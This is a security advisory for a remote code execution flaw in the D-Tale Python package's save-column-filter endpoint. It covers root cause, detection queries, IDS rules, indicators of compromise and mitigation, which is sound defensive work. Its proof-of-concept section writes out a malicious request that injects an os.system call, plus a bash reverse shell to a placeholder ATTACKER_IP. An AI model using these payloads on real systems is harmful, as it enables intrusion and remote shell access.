D-Tale – Remote Code Execution (RCE)
| Field | Value |
|---|---|
| CVE ID | CVE-2026-27194 |
| Affected Product | D-Tale (Python package: dtale) |
| Vulnerability Type | Remote Code Execution (Improper Input Validation / Unsafe Evaluation) |
| CVSS Score (v3) | 8.1 |
| Severity | High |
| Attack Vector | Network (Remote) |
| Attack Complexity | Low |
| Privileges Required | Low to None (depends on deployment exposure and configuration) |
| User Interaction Required | No |
| Scope | Unchanged |
| Confidentiality Impact | High |
| Integrity Impact | High |
| Availability Impact | High |
| Exploitability | High if the D-Tale instance is exposed to untrusted users |
| Exploit Availability | No officially published exploit at the time of writing; exploitation considered technically straightforward if endpoint is reachable |
| Authentication Required | Not required if instance is publicly exposed without access controls |
| Remediation | Upgrade to the latest patched version |
Overview
A Remote Code Execution vulnerability has been identified in D-Tale due to improper handling of user-supplied filter configuration data within the /save-column-filter endpoint. Insufficient validation and unsafe evaluation logic allowed crafted input to reach sensitive execution paths on the server.
Under specific conditions, arbitrary Python code could be executed within the context of the D-Tale application process. If the service was exposed to internal or external networks without strict access controls, full system compromise was possible.
The vulnerability primarily affected environments where D-Tale was deployed as a long-running web service for interactive data exploration.
Technical Details
The issue originated from the way column filter configurations were stored and later reloaded. User-supplied filter payloads were accepted via HTTP requests and processed server-side.
Improper sanitization permitted malicious Python expressions or serialized objects to be embedded in filter configurations. When those configurations were evaluated or deserialized, attacker-controlled code could be executed.
The vulnerable endpoint typically resembled:
POST /dtale/save-column-filter/<data_id>
Parameters of concern included:
cfgcol- JSON-based filter configuration payloads
If malicious content such as Python expressions or object constructors was inserted into cfg, the application could evaluate it during filter application or persistence.
Root Cause
The vulnerability was caused by one or more of the following unsafe behaviors:
- Use of dynamic evaluation functions (
eval,exec) - Unsafe deserialization (e.g., pickle loading)
- Insufficient validation of JSON filter configuration
- Lack of strict schema enforcement on user-supplied filter objects
User input was trusted beyond what was safe for a network-facing application.
Impact
Successful exploitation could result in:
- Arbitrary OS command execution
- File system read/write access
- Credential theft
- Reverse shell deployment
- Lateral movement within the network
- Data exfiltration
- Complete host compromise
Impact severity depended on:
- Privileges of the D-Tale service account
- Network segmentation
- Whether the instance was internet-facing
- Whether sensitive datasets were loaded
Attack Scenario
- A vulnerable D-Tale instance is identified.
- The
/save-column-filterendpoint is accessed. - A crafted request containing malicious filter configuration is submitted.
- The server processes and stores the payload.
- Upon loading or applying the filter, malicious code is executed.
- A reverse shell or command execution occurs.
No authentication bypass was required if the service was exposed without access control.
Proof of Concept (Educational)
The following illustrates how exploitation could occur in a vulnerable environment. This is provided strictly for defensive research and understanding.
Example malicious request:
POST /dtale/save-column-filter/1 HTTP/1.1
Content-Type: application/json{
"col": "example",
"cfg": "__import__('os').system('id')"
}
If unsafe evaluation existed, the above could execute system commands.
A reverse shell example payload:
__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"')
Indicators of exploitation include:
- Unexpected outbound network connections
- Shell processes spawned by Python
- Execution of OS utilities from the D-Tale process
Detection Guidance
Web Server Log Monitoring
Monitor for requests to:
/save-column-filter
/dtale/save-column-filter
Suspicious Patterns to Search For
__import__os.systemsubprocesseval(exec(picklebase64bash -i/dev/tcp/
Splunk Detection Query
index=web_logs
("save-column-filter" OR "/dtale/save-column-filter")
| search "__import__" OR "os.system" OR "subprocess" OR "eval(" OR "exec(" OR "pickle" OR "bash -i" OR "/dev/tcp/"
| table _time, src_ip, http_method, uri_path, http_user_agent
Elastic / Kibana Query (KQL)
url.path : "*save-column-filter*" AND
(
http.request.body.content : "*__import__*" OR
http.request.body.content : "*os.system*" OR
http.request.body.content : "*subprocess*" OR
http.request.body.content : "*eval(*" OR
http.request.body.content : "*exec(*"
)
Suricata IDS Rule
alert http any any -> $HOME_NET any (
msg:"D-Tale save-column-filter possible RCE attempt";
flow:established,to_server;
uricontent:"save-column-filter";
http_method;
content:"__import__"; nocase;
sid:10027194; rev:1;
)
Additional signatures should include detection of os.system, subprocess, and reverse shell patterns.
EDR Detection Logic
Alert when:
pythonprocess spawns:bashshcmd.exepowershell
- Network connections initiated by the D-Tale process to unknown IP addresses
- Temporary file creation followed by execution
- Execution chain:
python → sh → curl/wget
Log Sources to Monitor
- NGINX / Apache access logs
- Flask application logs
- WAF logs
- Endpoint Detection & Response logs
- Sysmon (Windows)
- Auditd (Linux)
- Firewall egress logs
Indicators of Compromise
- Repeated POST requests to
save-column-filter - High-entropy or encoded payloads in HTTP body
- Outbound traffic from analytics servers
- Unexpected scheduled tasks or cron jobs
- Modified Python files within the D-Tale environment
MITRE ATT&CK Mapping
- T1190 – Exploit Public-Facing Application
- T1059 – Command and Scripting Interpreter
- T1105 – Ingress Tool Transfer
- T1041 – Exfiltration Over C2 Channel
- T1078 – Valid Accounts (post-compromise use)
Mitigation
- Upgrade immediately to the patched version.
- Restrict network exposure of D-Tale.
- Require authentication.
- Deploy WAF rules blocking suspicious payload patterns.
- Run D-Tale under a least-privileged service account.
- Implement outbound firewall restrictions.
Official Patch / Upgrade Link
Upgrade to the latest secure version available from the official project repository:
https://github.com/man-group/dtale/releases
Upgrade example:
pip install --upgrade dtale
Risk Assessment Summary
If D-Tale was exposed to untrusted networks, exploitation risk should be considered significant. Even in internal deployments, lateral movement risk exists.
Immediate patching is strongly recommended. If exploitation is suspected, full incident response procedures should be initiated.
